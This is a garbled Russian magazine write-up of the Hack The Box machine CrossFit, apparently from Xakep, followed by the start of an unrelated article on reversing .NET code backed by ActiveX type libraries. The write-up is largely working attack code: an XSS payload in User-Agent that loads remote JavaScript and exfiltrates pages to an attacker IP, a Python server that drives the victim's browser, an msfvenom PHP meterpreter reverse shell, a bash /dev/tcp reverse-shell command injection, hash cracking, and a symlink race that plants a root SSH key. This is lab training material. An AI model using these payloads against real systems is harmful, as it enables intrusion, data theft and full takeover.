Со обще ние о бло киров ке XSS

Здесь  ска зано,  что  наш  IP‐адрес  и  информа ция  о  бра узе ре  будут  пре дос‐ 
тавле ны  адми нис тра тору  ресур са.  Прек расно!  Зна чит,  мы  можем  поп‐ 
робовать выпол нить XSS, но уже для адми нис тра тора.

На источник IP мы пов лиять не можем, а вот информа цию о бра узе ре сер‐ 
вис  узна ет  из  заголов ка    про токо ла  HTTP.  Зна чение  это го
заголов ка мы можем под менить хоть в самом бра узе ре, хоть в спе циаль ных
при ложе ниях вро де Burp.

User‐Agent

Сто ит пом нить, что сооб щение будет дос тавле но толь ко в слу чае детек та
XSS. То есть нуж но отпра вить наг рузку и в поле ком мента рия, и в заголов ке

. Я открыл порт 8888 и заменил зна чение заголов ка при помощи
Burp. Пос ле отправ ки зап роса получа ем отклик в логах нашего веб‐сер вера.
User‐Agent

Зап рос, содер жащий наг рузку XSS в заголов ке User‐Agent

По пыт ка заг рузки скрип та с веб‐сер вера локаль ного хос та (отклик)

Это  зна чит,  что  мы  можем  выпол нить  заг рузку  уда лен ного  скрип та  на  JS
и экс плу ати ровать XSS.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/OJ/gobuster
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РАСКРУЧИВАЕМ СЛОЖНУЮ XSS, ЧТОБЫ

ЗАХВАТИТЬ ХОСТ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

XSS
Те перь нуж но опре делить ся с век тором ата ки. Пом нишь стра ницу с огра ниче‐ 
нием  дос тупа?  От  име ни  адми нис тра тора  мы  навер няка  смо жем  ее  пос‐ 
мотреть,  а  XSS  поможет  нам  в  этом.  Код  стра ницы  мы  получим,  исполь зуя
методы   и   объ екта  .open send XMLHttpRequest

       var xhr = new XMLHttpRequest();
 

 
xhr.open('GET', 'http://gym‐club.crossfit.htb/security_threat/report.
php', true);

 xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');
xhr.send();

Код зап рошен ной стра ницы здесь сох раня ется в перемен ной 
,  и  его  еще  нуж но  передать  на  наш  сер вер,  что бы  он  отоб разил ся

в логах. Зна чение для сох ранения целос тнос ти сна чала закоди руем в Base64,
что бы  непеча таемые  сим волы  нам  не  помеша ли.  В  качес тве  триг гера
для  отправ ки  будем  исполь зовать  метод    объ екта  .
Пол ный код выг лядит сле дующим обра зом.

xhr.response‐
Text

onload XMLHttpRequest

       var xhr = new XMLHttpRequest();
 

 
xhr.open('GET', 'http://gym‐club.crossfit.htb/security_threat/report.
php', true);

 xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');

       xhr.onload = function () {
              var request = new XMLHttpRequest();

     
 

       request.open('GET', 'http://10.10.14.80:8888/?code=' + btoa(
xhr.responseText), true);
       request.send();
};
xhr.send();

Сох раня ем его в файл (у меня  ) в дирек тории запущен ного веб‐сер‐ 
вера. Пос ле чего пов торя ем зап рос с извес тной наг рузкой в заголов ке 

, но уже ука зыва ем для заг рузки скрип та свой файл.

evil.js
User‐

Agent

<script src="http://10.10.14.80:8888/evil.js"></script>

В  логах  веб‐сер вера  получа ем  информа цию:  сна чала  о  заг рузке  скрип та,
а  потом  обра щение  к  вымыш ленной  стра нице.  В  качес тве  аргу мен та  при‐ 
ходят дан ные в кодиров ке Base64, декоди руем их.

Ло ги локаль ного веб‐сер вера

Де коди рова ние кода стра ницы report.php

К сожале нию, ничего инте рес ного мы не получа ем, так что в этом мес те мне
приш лось  креп ко  задумать ся  о  том,  как  раз вивать  ата ку  даль ше.  В  голову
приш ла  идея  про верить  дос тупные  с  localhost  вир туаль ные  хос ты.  Ска нер
для это го при дет ся реали зовать самос тоятель но.

Идея  сос тоит  в  том,  что мы будем  про воци ровать  уда лен ный  хост  сно ва
и сно ва заг ружать скрипт на JS с нашего локаль ного сер вера, но толь ко каж‐ 
дый  раз  мы  будем  воз вра щать  такой  скрипт,  который  вмес то  стра ницы

  будет  зап‐ 
рашивать  кор невую  стра ницу  на  раз ных  под доменах 

.

http://gym‐club.crossfit.htb/security_threat/report.php
http://[random].

crossfit.htb
Прог рамми ровать  будем  на  питоне.  Нам  нуж но  про верять  код  отве та —

если он равен 200, зна чит, вир туаль ный хост сущес тву ет.
Сна чала пишем стан дар тную «базу» для сер вера.

#!/usr/bin/env python3
       from http.server import BaseHTTPRequestHandler, HTTPServer

 import logging
 import requests

     def run(server_class=HTTPServer, handler_class=EvilServer, port=8888)
:
         server_address = ('', port)
         httpd = server_class(server_address, handler_class)
   request()
   try:
       httpd.serve_forever()
     except KeyboardInterrupt:
       pass
   httpd.server_close()

     if __name__ == '__main__':
run()

Что бы избе жать кеширо вания фай ла при мно гок ратном зап росе, будем вес ти
счет чик    и  каж дый  раз  менять  имя  фай ла  со  скрип том  на  JS.
В качес тве сло варя исполь зуем namelist.txt из набора  .

vhost_number
SecLists

 global vhost_number
   vhost_number = 0;

       with open("/usr/share/seclists/Discovery/DNS/namelist.txt", "r") as f
:
     global vhosts

   vhosts = f.read().split('\n')[:‐1]

Те перь реали зуем фун кцию пер воначаль ной отправ ки ком мента рия, которая
будет отсы лать наг рузку.

 def request():
       

 
headers = {'User‐Agent':'<script src="http://10.10.14.80:8888/

evil'+str(vhost_number)+'.js"></script>', 'Referer':'http://gym‐club.
crossfit.htb/blog‐single.php'}
       data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888',
'message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.
js%22%3E%3C%2Fscript%3E','submit':'submit'}
   requests.post("http://gym‐club.crossfit.htb/blog‐single.php",data
=data,headers=headers)

В  клас се  сер вера  обра бота ем  GET‐зап рос.  Если  обра щение  про исхо дит
к  , то вер нем скрипт, который будет выпол нять обра щение к тес тиру‐ 
емо му  под домену.  Если  такой  под домен  сущес тву ет,  то  он  будет  передан
в качес тве парамет ра в пов торном зап росе на наш сер вер.

evil.js

 class EvilServer(BaseHTTPRequestHandler):
     def _set_response(self):
       self.send_response_only(200)
       self.end_headers()

     def do_GET(self):
        global vhost_number

       self._set_response()
            if vhost_number < len(vhosts):

                if self.path == '/evil'+str(vhost_number)+'.js':
               self.wfile.write(eviljs().encode('utf‐8'))

                if 'vhost=' in self.path[:7]:
                  print("vhost found: " + self.path[7:])

           request()

Ос талось реали зовать фун кцию, которая будет воз вра щать JS.

 def eviljs():
     global vhost_number
       jscode = """var xhr = new XMLHttpRequest();
       xhr.open('GET', 'http://XXX.crossfit.htb/', true);
       xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');
       xhr.onload = function(){
           var request = new XMLHttpRequest();
           request.open('GET', 'http://10.10.14.80:8888/vhost=XXX', 
true);
           request.send();
       };

        xhr.send();""".replace('XXX', vhosts[vhost_number])
                 

     
print(str(vhost_number+1)+ "/" + str(len(vhosts)) + " " + vhosts[

vhost_number] + " "*10, end="\r")
       vhost_number += 1
     return jscode

Важ ные фун кции я опи сал, осталь ной код при водить не ста ну — если будешь
пов торять про хож дение, ты без тру да вос создашь его.

Скрипт работа ет мед ленно, но дает резуль тат!

Код сер вера

Ре зуль тат ска ниро вания

Убе див шись,  что  скрипт  работа ет,  я  оста новил  его  и  внес  изме нения,
которые обес печат нам удобс тво при работе. Пер вым делом добав ляем фун‐ 
кцию   с изме нен ной наг рузкой  .requestPage evil.js

 def requestPage():
       

 
headers = {'User‐Agent':'<script src="http://10.10.14.80:8888/

getpage.js"></script>', 'Referer':'http://gym‐club.crossfit.htb/
blog‐single.php'}
       data = {'name':'ralf','email':'ralf%40ralf.com','phone':'8888',
'message':'%3Cscript+src%3D%22http%3A%2F%2F10.10.14.80%3A8888%2Fevil.
js%22%3E%3C%2Fscript%3E','submit':'submit'}
   requests.post("http://gym‐club.crossfit.htb/blog‐single.php",data
=data,headers=headers)

Наг рузка будет зап рашивать уже извес тный нам файл JS для прос мотра стра‐ 
ниц.

 def getpagejs(page="http://ftp.crossfit.htb/"):
     return """var xhr = new XMLHttpRequest();

          xhr.open('GET', '""" + page + """', true);
   xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');
   xhr.onload = function(){
       var request = new XMLHttpRequest();
       request.open('GET', 'http://10.10.14.80:8888/page=' + btoa(
xhr.responseText), true);
       request.send();
   };
xhr.send();"""

И будем вызывать ее в фун кции   вмес то  .run() request()

     def run(server_class=HTTPServer, handler_class=EvilServer, port=8888)
:
         server_address = ('', port)
         httpd = server_class(server_address, handler_class)
   requestPage()
   try:
       httpd.serve_forever()
     except KeyboardInterrupt:
       pass
   httpd.server_close()

     if __name__ == '__main__':
   run()

Да лее я добавил в метод   обра бот ку зап росов   и  .
Таким обра зом Base64 будет декоди ровать ся, что бы мы мог ли видеть HTML
пря мо в бра узе ре (так гораз до удоб нее).

do_GET() getpage.js page

 class EvilServer(BaseHTTPRequestHandler):
     def _set_response(self):
       self.send_response_only(200)
       self.end_headers()

     def do_GET(self):
        global vhost_number

       self._set_response()
            if vhost_number < len(vhosts):

                if self.path == '/evil'+str(vhost_number)+'.js':
               self.wfile.write(eviljs().encode('utf‐8'))

                if 'vhost=' in self.path[:7]:
                  print("vhost found: " + self.path[7:])

                if self.path == '/getpage.js':
               self.wfile.write(getpagejs().encode('utf‐8'))

                if 'page=' in self.path[:6]:
               print(base64.b64decode(self.path[6:]).decode())

                      with open("page.html", "w") as f:
                   f.write(base64.b64decode(self.path[6:]).decode())
               os.system("firefox page.html")

Все  готово,  запус каем.  Пос ле  выпол нения  это го  «экс пло ита»  получим  окно
с кодом стра ницы и ее пред став ление в бра узе ре.

Код сер вера

Ре зуль тат выпол нения скрип та

Ка жет ся, эта стра ница поз воля ет нам соз дать поль зовате ля для служ бы FTP.
Давай  перей дем  на  вклад ку  Create  New  Account,  для  чего  в  коде  изме ним
один адрес.

Из менение парамет ра фун кции getpagejs()

Ре зуль тат выпол нения скрип та

Из  исходно го  кода  мы  получа ем  необ ходимые  парамет ры,  такие  как 
 и  . Так же узна ем о том, что нуж но получать токен, а это при дет‐ 

ся делать тоже с помощью JS. Для выпол нения этих опе раций добавим новую
фун кцию  .

user‐
name password

createuser()

 def createuser():
     return """
   var username='ralf'; var password='ralf';
   var xhr = new XMLHttpRequest();
   xhr.withCredentials = true;
   xhr.open('GET', 'http://ftp.crossfit.htb/accounts/create', false)
;
   xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');
   xhr.onreadystatechange = function(){
       if(xhr.readyState){
           var request = new XMLHttpRequest();
           request.open('GET', 'http://10.10.14.80:8888/page=' + 
btoa(xhr.responseText), false);
           request.send();
       }
   };
   xhr.send();
   var r = /token" value="(.*)"/g
   var token =r.exec(xhr.responseText)[1];
   var params = '_token=' + token + '&username=' + username + '&
pass=' + password + '&submit=submit';
   xhr.open('POST', "http://ftp.crossfit.htb/accounts", false);
   xhr.setRequestHeader('Content‐type', 'application/
x‐www‐form‐urlencoded');
   xhr.send(params);"""

Эта фун кция воз вра щает модифи циро ван ный код на JS, который пер вый раз
зап рашива ет стра ницу, что бы получить токен, а вто рой раз отправ ляет запол‐ 
ненную  фор му,  тем  самым  соз давая  нового  поль зовате ля    с  паролем

 (в моем слу чае). В методе   изме ним вызов   на вызов
новой  фун кции  .  Пос ле  выпол нения  скрип та  в  окне  бра узе ра
наб люда ем све жесоз данно го поль зовате ля.

ralf
ralf to_GET getpagejs()

createuser()

Ре зуль тат выпол нения скрип та

ШЕЛЛ
Пос ле  соз дания  поль зовате ля  для  служ бы  FTP  поп робу ем  авто ризо вать ся
на сер вере. Пос коль ку там исполь зует ся SSL, будем исполь зовать кли ент lftp.
При под клю чении необ ходимо отклю чить про вер ку сер тифика та.

ssl:verify‐certificate no set 
connect crossfit.htb 
login ralf 

Под клю чение к служ бе FTP и прос мотр содер жимого катало га

По  име нам  катало гов  лег ко  опре делить,  что  это  дирек тории  веб‐сер вера
и соот ветс тву ющих вир туаль ных хос тов. Как пос тупать в таких ситу ациях, всем
дав но извес тно — раз местить свой шелл. В слу чае с PHP мож но лег ко сге‐ 
нери ровать его с помощью MSFvenom со сле дующи ми парамет рами:

 — исполь зуемая наг рузка (конеч но, берем Meterpreter);• p []

 — IP‐адрес локаль ного хос та;• LHOST=[]

 — локаль ный порт;• LPORT=[]

 — фор мат, в котором будет пред став лена наг рузка.• f []

4321 
 raw   r.php 

msfvenom ‐p php/meterpreter_reverse_tcp LHOST=10.10.14.80 LPORT=
‐f >

     |       
   r.php 

cat r.php | xclip ‐selection clipboard && echo '<?php ' tr ‐d '\n'
> r.php && xclip ‐selection clipboard ‐o >>

Соз дание наг рузки

И  запус тим  лис тенер,  который  будет  ждать  обратно го  под клю чения  от  наг‐ 
рузки.  Для  быс тро го  запус ка  из    исполь зуем  коман ду 
с парамет рами, ука зан ными при соз дании наг рузки.

metasploit handler

 4321 handler ‐p php/meterpreter_reverse_tcp ‐H 10.10.14.129 ‐P

Ос талось заг рузить на FTP скрипт и обра тить ся к нему. Но во вре мя реали‐ 
зации  обна ружи вает ся  нюанс:  единс твен ная  дос тупная  для  записи  дирек‐ 
тория —  .  Заг ружа ем  скрипт  в  эту  дирек торию  коман дой

.
development‐test

put

За пуск лис тенера metasploit handler

Об ращать ся  при дет ся  к  вновь  най ден ной  дирек тории,  поэто му  добавим
в  нашу  прог рамму  еще  одну фун кцию.  При  этом  в  методе    изме ним

 на  , где выпол няет ся зап рос по новому домен ному
име ни.

to_GET
createuser() getshell()

 def getshell():
     return """
   var xhr = new XMLHttpRequest();
   xhr.open('GET', 'http://development‐test.crossfit.htb/r.php', 
false);
xhr.send()"""

Пос ле  запус ка  скрип та  получа ем  шелл,  о  чем  сви детель ству ет  тер минал
Metasploit.  Сра зу  же  нуж но  про верить,  в  кон тек сте  какого  поль зовате ля  мы
работа ем. Для Meterpreter это коман да  .getuid

Соз дание сес сии Meterpreter и выпол нение коман ды getuid

ПРОДВИЖЕНИЕ
Первый юзер
Воз ника ет воп рос — что же делать пос ле того, как получил шелл в сис теме?
Как най ти путь, который при ведет к повыше нию при виле гий? На этот слу чай
сущес тву ют скрип ты   — они есть и для Windows, и для Linux. Ска чива ем
скрипт для Linux, перехо дим в Meterpreter и коман дой   заг ружа ем его
на уда лен ный хост. Получив коман дную обо лоч ку (коман да  ), наз нача ем
пра ва на исполне ние и выпол няем.

PEASS
upload

shell

Заг рузка и выпол нение скрип та LinPEAS

Пос ле того как скрипт отра бота ет, у нас появ ляет ся новая труд ная задача —
выб рать информа цию,  которая при ведет  к  успешно му прод вижению. В дан‐ 
ном слу чае отме тим для себя поль зовате лей, име ющих инте рак тивную обо‐ 
лоч ку  и  два  най ден ных  хеша  (скрипт  прос то  опре деля ет  спе цифи чес кую
струк туру стро ки).

Поль зовате ли с кон солью

Най ден ные в раз ных фай лах спе цифи чес кие стро ки (хеши)

Най ден файл   —  из  наз вания  мож но  сде лать  вывод,  что
пред став ленный  хеш  —  это  резуль тат  хеширо вания  пароля  поль зовате ля

. С помощью зна мени того hashcat мож но не толь ко быс тро ломать хеши
и соз давать пра вила или спис ки паролей, но и опре делять тип хеша. В струк‐ 
туре  хеша  есть  ред кая  пос ледова тель ность  ,  которая  и  опре деля ет  тип
хеша, поэто му узнать алго ритм тру да не сос тавит.

adduser_hank.yml

hank

$6$

 |       hashcat ‐‐example grep ‐A1 ‐B1 '\$6\$'

По луче ние алго рит ма хеширо вания

Нам сооб щают, что это SHA‐512 и что, если мы хотим переби рать его, нуж но
исполь зовать  код  режима  1800.  Так  мы  и  пос тупим,  а  в  качес тве  сло варя
с пароля ми исполь зуем зна мени тый rockyou.

 0   1800 hash.txt ./tools/rockyou.txt hashcat ‐a ‐m

Взлом най ден ного хеша SHA‐512

Так  как служ ба SSH активна  (не  забыва ем о резуль татах ска ниро вания пор‐ 
тов), мы под клю чаем ся с най ден ным паролем и получа ем пер вый флаг.

Поль зователь ский флаг

Продолжение статьи →

https://github.com/danielmiessler/SecLists
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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Второй юзер
Так как мы получи ли кре ды нового поль зовате ля, всю раз ведку на хос те нуж но
про водить заново! У нас ведь теперь совер шенно дру гие при виле гии, и этот
момент мно гие упус кают.

Сно ва  выпол ним LinPEAS и отбе рем наибо лее  важ ную информа цию. Что
очень важ но, мы получа ем записи  . К тому же поль зователь при сутс тву ет
в груп пе  ,  что дает нам пра во читать фай лы из дирек тории 
.

cron
admin /etc/pam.

d/

За писи cron

Фай лы, огра ничен ные для чте ния

Служ ба  cron  поз воля ет  запус кать  прог раммы  на  сер вере  в  опре делен ное
вре мя. В дан ном слу чае — от име ни поль зовате ля   выпол няет ся скрипт
на PHP. Конеч но же, сра зу смот рим код внут ри фай ла.

isaac

Со дер жимое фай ла send_updates.php

В этом скрип те про исхо дит перечис ление фай лов и дирек тории сооб щений
( ). Если файл обна ружен ( ), то дела ется зап рос к базе дан‐ 
ных  ( )  для  получе ния  зна чений  стол бца    из  таб лицы

.  Каж дая  воз вра щен ная  стро ка  (адрес  элек трон ной  поч ты)  будет
переда на в качес тве аргу мен та ути лите  . В самом кон це от име ни поль‐ 
зовате ля isaac выпол няет ся вот такая коман да:

$msg_dir isFile()
$conn‐>query email

users
mail

    адрес электронной почты] /usr/bin/mail ‐s 'Crossfit Club Newsletter' [

Так как коман да выпол няет ся в сис теме, а вход ными дан ными мож но манипу‐ 
лиро вать,  то  на  ум  при ходит  инъ екция  команд  (command  injection).  Если мы
смо жем раз местить любой файл в дирек тории с сооб щени ями,  то про изой‐ 
дет  зап рос  к БД.  Так же  нуж но будет  под клю чить ся  к  базе  дан ных  и  соз дать
запись, что поз волит манипу лиро вать парамет ром коман ды mail.

Под ста вим в коман ду выше вот такую наг рузку:

  bash   ‐E $( ‐c 'bash ‐i >& /dev/tcp/10.10.14.17/4321 0>&1')

Пол ная коман да ста нет такой:

      bash   /usr/bin/mail ‐s 'Crossfit Club Newsletter' ‐E $( ‐c 'bash ‐i >
& /dev/tcp/10.10.14.17/4321 0>&1')

Сна чала  будет  выпол нен  код  внут ри  конс трук ции  ,  что  при ведет
к выпол нению реверс‐шел ла. Но мы стал кива емся с рядом проб лем: как под‐ 
клю чать ся к базе дан ных и что за дирек тория с сооб щени ями.

$(...)

Для  под клю чения  к  базе  дан ных  нуж ны  учет ные  дан ные.  Но  к  под клю‐ 
чаемо му фай лу   дос тупа у нас нет. Най дем в дирек тории веб‐сер вера
на FTP подоб ный файл и поп робу ем получить учет ные дан ные из него.

db.php

Со дер жимое фай ла db.php

Од на проб лема решена. Даль ше нуж но вспом нить о пра ве на чте ние фай лов,
рас положен ных  в  катало ге  .  PAM  —  это  набор  под клю чаемых
модулей,  которые отве чают  за аутен тифика цию в  сис теме. По сути,  это API,
который  опе раци онная  сис тема  или  при ложе ния могут  исполь зовать,  что бы
отпра вить зап росы на про вер ку под линнос ти поль зовате ля. А фай лы нас тро‐ 
ек содер жатся имен но в этой дирек тории.

/etc/pam.d

Быс трень ко ищем по клю чевым сло вам и находим учет ные дан ные адми‐ 
нис тра тора  FTP.  Сле дующей  коман дой  мы  из  всех  фай лов  в  дирек тории
выбира ем  стро ки,  в  которых  содер жится  хоть  одна  из  подс трок:  ,  ,

 или  , а так же исклю чаем все заком менти рован ные стро ки ( ).
pas pwd

secr key ‐v '#'

   |     |     cat * grep "pas\|pwd\|secr\|key" grep ‐v '#'

Филь тра ция фай лов PAM

Под клю чим ся к FTP от име ни адми на и най дем дирек торию messages.

lftp 
ssl:verify‐certificate no set 

lftp :~> connect crossfit.htb 
lftp crossfit.htb:~> login ftpadm 

Под клю чение к служ бе FTP

Вы ходит,  у  нас  есть  и  воз можность  манипу лиро вать  дан ными  и  в  базе,  и  в
дирек тории сооб щений. Запус тим MySQL и пос мотрим, какие есть базы дан‐ 
ных.

~y2baeni mysql ‐u crossfit ‐poeLoo

Спи сок баз дан ных

Бу дем  исполь зовать  поль зователь скую  базу  crossfit,  так  как  informa‐
tion_schema — слу жеб ная. В crossfit и най дем таб лицу users.

Спи сок таб лиц в базе crossfit

Все схо дит ся, поэто му, как и пла ниро вали:
1. От кро ем лис тенер.

 4321 rlwrap nc ‐lvp

2. Заг рузим в дирек торию сооб щений   файл.лю бой

Заг рузка фай ла на FTP‐сер вер

Пи шем в таб лицу:

  bash   insert into users (id, email) values (9001, "‐ E $( ‐c 'bash 
‐i >& /dev/tcp/10.10.14.17/4321 0>&1')");

Соз дание записи в базе дан ных

Спус тя нес коль ко секунд коман да выпол нится и мы получим бэк коннект.

По луче ние бэк коннек та

Для  удобс тва  работы  сге нери руем  ключ  SSH  коман дой 
и запишем сге нери рован ный пуб личный ключ поль зовате лю в файл 

.

ssh‐keygen
~/.shh/

authorized_keys

За пись пуб лично го клю ча

Те перь можем заходить по SSH с исполь зовани ем зак рытого клю ча.

Ав торизо ван ный поль зователь isaac

РУТ
В этот раз исполь зование LinPEAS ничего инте рес ного не показы вает, поэто‐ 
му  пос мотрим,  есть  ли  пери оди чес ки  запус каемые  в  сис теме  про цес сы,
с помощью  . Прос той  запуск  pspy  ничего  не дал,  поэто му  я  запус тил
его с парамет ром  , что бы отлавли вать события фай ловой сис темы.

pspy64
‐f

pspy64 ‐f

Вы вод получил ся очень объ емный,  поэто му  я  сох ранил его  в файл и решил
нем ного отфиль тро вать.  Уби раем из  лога  все  упо мина ния  ,  пос коль ку
нас  не  инте ресу ют  сооб щения  об  обра щении  к  фай лам  , 
и  тому  подоб ным.  Так же  нас  не  инте ресу ют  фай лы  PHP,  так  как  с  этим  уже
работа ли и тут ничего нового нет. Мож но пос мотреть толь ко события, свя зан‐ 
ные  с  дирек тори ей  ,  но  там  нет  ничего  инте рес ного,  поэто му  ее  тоже
исклю чаем из вывода. Коман да   покажет количес тво передан ных строк.

/etc/
passwd shadow

var
wc ‐l

Филь тра ция строк в фай ле логов

Те перь события будет прос мотреть удоб ней. Из обще го фона исполь зования
биб лиотек замеча ем ути литу  , которая запус кает ся раз в минуту.dbmsg

Ло ги ути литы pspy64

Ло ги запус ка ути литы dbmsg

Заг ружа ем бинар ник на локаль ную машину с помощью коман ды   и откры‐ 
ваем в любом деком пилято ре. Я исполь зовал Hex‐rays IDA Pro.

scp

scp   id_rsa isaac@crossfit.htb:/usr/bin/dbmsg ./ ‐i

В  деком пилято ре  перехо дим  к  фун кции  .  Пос ле  стар та  прог раммы
сра зу про веря ются при виле гии поль зовате ля (дол жен быть  ) и генера тор
псев дослу чай ных чисел ини циали зиру ется текущим вре менем.

main()
root

Де ком пилиро ван ный код фун кции main

В фун кции    про исхо дит  под клю чение  к  базе  дан ных  и  счи‐ 
тыва ние дан ных из таб лицы messages.

process_data()

Де ком пилиро ван ный код фун кции process_data

Да лее  прог рамма  чита ет  стро ки  таб лицы  и  про веря ет  стол бцы  (id,  name,
email, messages). Пос ле чего в дирек тории   соз дает файл с име‐ 
нем  ,  куда  записы вает  зна чения  name, messages  и  email
(имен но в этом поряд ке). Затем выпол няет ся zip, пос ле чего файл уда ляет ся.

/var/local/
md5(rand() + id)

Де ком пилиро ван ный код фун кции process_data (про дол жение)

Тут‐то и наметил ся сле дующий век тор ата ки: мы можем рас счи тывать исполь‐ 
зуемые псев дослу чай ные чис ла, а зна чит, и узнать имя фай ла; к  тому же мы
можем  кон тро лиро вать  его  содер жимое,  соз давая  записи  в  базе  дан ных.
Учи тывая, что опе рации выпол няют ся от име ни root, мы можем соз дать ссыл‐ 
ку с  таким име нем, и она будет  ука зывать на файл  . Оста‐ 
нет ся лишь записать в него SSH‐ключ! Что ж, за дело!

authorized_keys

Сна чала  сге нери руем  клю чи.  Что бы  сэконо мить  мес то,  исполь зуем
ed25519.

Ге нера ция SSH‐клю чей

Те перь  напишем  прог рамму,  которая  будет  генери ровать  и  выводить  псев‐ 
дослу чай ное чис ло в зависи мос ти от текуще го вре мени.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

 int main(){
   srand(time(0));
     printf("%d", rand());
     return 0;
}

А затем ком пилиру ем этот код с помощью  .gcc

 rand_int.bin gcc rand_int.c ‐o

Те перь  нуж но  заг рузить  бинарь  на  хост,  пос ле  чего  написать  кон вей ер
для получе ния име ни фай ла. Так как мы будем соз давать сооб щение заново,
то   всег да равен еди нице.id

Тес тирова ние получе ния имен фай ла

Так  как  запись  не  про сущес тву ет  в  базе  дол го,  будем  про изво дить  запись
сооб щения с клю чом и лин ковку фай ла одним скрип том:

#/bin/bash
 mysql ‐h localhost ‐u crossfit ‐poeLoo~y2baeni ‐Dcrossfit ‐e'insert 

into messages (id, name, email,message) values (1, "ssh‐ed25519",
"ralf@ralf‐PC","AAAAC3N.....Pt0xQdJ");'

       
1 |   |         1  

while true; do ln ‐s /root/.ssh/authorized_keys /var/local/$(echo ‐n
$(./rand_int.bin) md5sum cut ‐d " " ‐f ) 2>/dev/null; done

Вы пол няем скрипт и под клю чаем по SSH c при ват ным клю чом.

Вы пол нение скрип та

По луче ние фла га поль зовате ля root

Вот мы и зах ватили машину CrossFit! Теперь мы име ем над ней пол ный кон‐ 
троль.

https://github.com/DominicBreuker/pspy


ПРЕПАРИРУЕМ

TYPELIBRARY

РЕВЕРСИМ КОД С ACTIVEX
И OLE AUTOMATION

МВК

ВЗЛОМ

Че го  толь ко  не  при дума ют  хит рые  кодеры,  дабы  осложнить
работу  бед ным  хакерам,  лома ющим  их  софт!  Все  уже  при‐ 
вык ли  к  тому,  что  исполня емый модуль  прог раммы  исполь‐ 
зует клас сы, фун кции и методы, содер жащи еся в нем самом
либо во внеш них динами чес ких биб лиоте ках (DLL), стан дар‐ 
тных или не очень. Одна ко неред ко прог рамма для получе‐ 
ния  дан ных  или  выпол нения  каких‐то  дей ствий  обра щает ся
к сис темным служ бам или сер верам ActiveX, и это очень неп‐ 
рият но.  Пер вый  слу чай  гораз до  более  суровый,  поэто му
отло жим  его  обсужде ние  на  потом,  а  сегод ня  нач нем
с вещей поп роще.

Ты  навер няка  слы шал  о  май кро соф тов ской  тех нологии  OLE  Automation,
которая  поз воля ет  свя зывать  друг  с  дру гом  при ложе ния,  написан ные
на совер шенно раз ных язы ках, в  том чис ле скрип ты. Про нее ска зано очень
мно го  (на  стра ницах  тво его  любимо го  жур нала  тоже),  поэто му  не  буду
углублять ся  в  тон кости  ее  реали зации.  Оста нов люсь  лишь  на  нес коль ких
момен тах, которые помогут в раз борке и реконс трук ции кода, исполь зующе го
OLE Automation.

Суть  в  том,  что  в  опе раци онной  сис теме  регис три рует ся  некий  набор
управля ющих  эле мен тов  ActiveX,  содер жащих  методы  и  клас сы,  дос туп
к  которым  из  любого  при ложе ния  мож но  получить  при  помощи  этой  тех‐ 
нологии.  Такой  эле мент  с  иерар хичес ким  опи сани ем  содер жащих ся  в  нем
клас сов  и  методов  называ ется  биб лиоте кой  типов  (TypeLibrary).  К  при меру,
дру гая  извес тная  май кро соф тов ская  тех нология  .NET  под держи вает  тес ное
вза имо дей ствие  с  такими  биб лиоте ками.  Нас толь ко  тес ное,  что  может
отдель ные клас сы и методы в сво их сбор ках выносить в эти биб лиоте ки, а при
заг рузке сбор ки OLE Automation сты кует их как род ные. В таких сбор ках нап‐ 
рочь отсутс тву ет IL‐код, а тела методов в самой биб лиоте ке пус тые. В сегод‐ 
няшней  статье  я  рас ска жу,  как  бороть ся  с  подоб ными  явле ниями и  реконс‐ 
тру иро вать такой запутан ный код.

В    я  рас ска зывал  о  под мене  IL‐кода
при  JIT‐ком пиляции  на  лету.  Одна ко  быва ют  слу чаи,  ког да  IL‐код  в  сбор ке
отсутс тву ет.  К  при меру,  раз бира ешь  ты  себе  спо кой но  некий  дот нетов ский
про ект  в  каком‐нибудь  dnSpy,  все  замеча тель но,  ни  тебе  обфуска ции,
ни защиты от отладки. Трас сиру ешь про вер ку лицен зии, и р‐раз! — про вали‐ 
ваешь ся в фун кцию, в которой нет кода. Смот ришь на биб лиоте ку, а она вся
такая: кода нет, одни заголов ки.

од ной  из  сво их  пре дыду щих  ста тей

Нат равля ем на нее деоб фуска торы, в надеж де, что код как‐то хит ро спря‐ 
тан.  Но  нет,  код  дей стви тель но  отсутс тву ет,  а  при  вдум чивом  ана лизе  биб‐ 
лиоте ки в  IDA или CFF вид но, что все тела методов пус тые. И толь ко сей час
мы  обра щаем  вни мание,  что  методы  помече ны  атри бутом 

.  В CFFExplorer  в  окне Method  ImplFlags
тоже сто ит гал ка нап ротив  . Так что же это за неведо ма зве руш‐ 
ка?

MethodImpl(
MethodImplOptions.InternalCall)

InternalCall

Нем ного покурив  теорию, мы вспо мина ем: этот атри бут  ука зыва ет сре де
выпол нения,  что она име ет  дело  с  вызовом натив ного метода  (не  IL,  а  хар‐ 
дкор ных плат формен но зависи мых машин ных кодов) из свя зан ной с исполня‐ 
емым фай лом биб лиоте ки, которая может быть написа на на C, C++ или даже
на ASM. Подоб ным обра зом так же реали зуют ся внут ренние вызовы исполня‐ 
емо го кода, нап ример из mscorlib. Эту задачу мож но реали зовать, в час тнос‐ 
ти,  через  атри бут  .  В  этом  слу чае  хотя  бы  ясно,  в  какой  имен но
фун кции  какой  имен но  биб лиоте ки  сле дует  искать  нуж ный  код  реали зации,
но в нашем при мере соз датели про екта решили мак сималь но испортить нам
жизнь.  Еще  нем ного  поковы ряв  куцый  огры зок  кода  биб лиоте ки,  мы  обна‐ 
ружи ваем в ее заголов ке сле дующую конс трук цию:

DllImport

 [CoClass(typeof(CheckerClass)), Guid(
"3F5942E1‐108B‐11d4‐B050‐000001260696")]
[ComImport]

Сно ва  све рив шись  с  докумен таци ей, мы при ходим  к  выводу,  что  наша биб‐ 
лиоте ка  слу жит  все го  лишь  переход ным  интерфей сом  к  COM‐биб лиоте ке
типов  с  дан ным  GUID.  И  все  содер жащи еся  в  ней  фун кции  авто мати чес ки
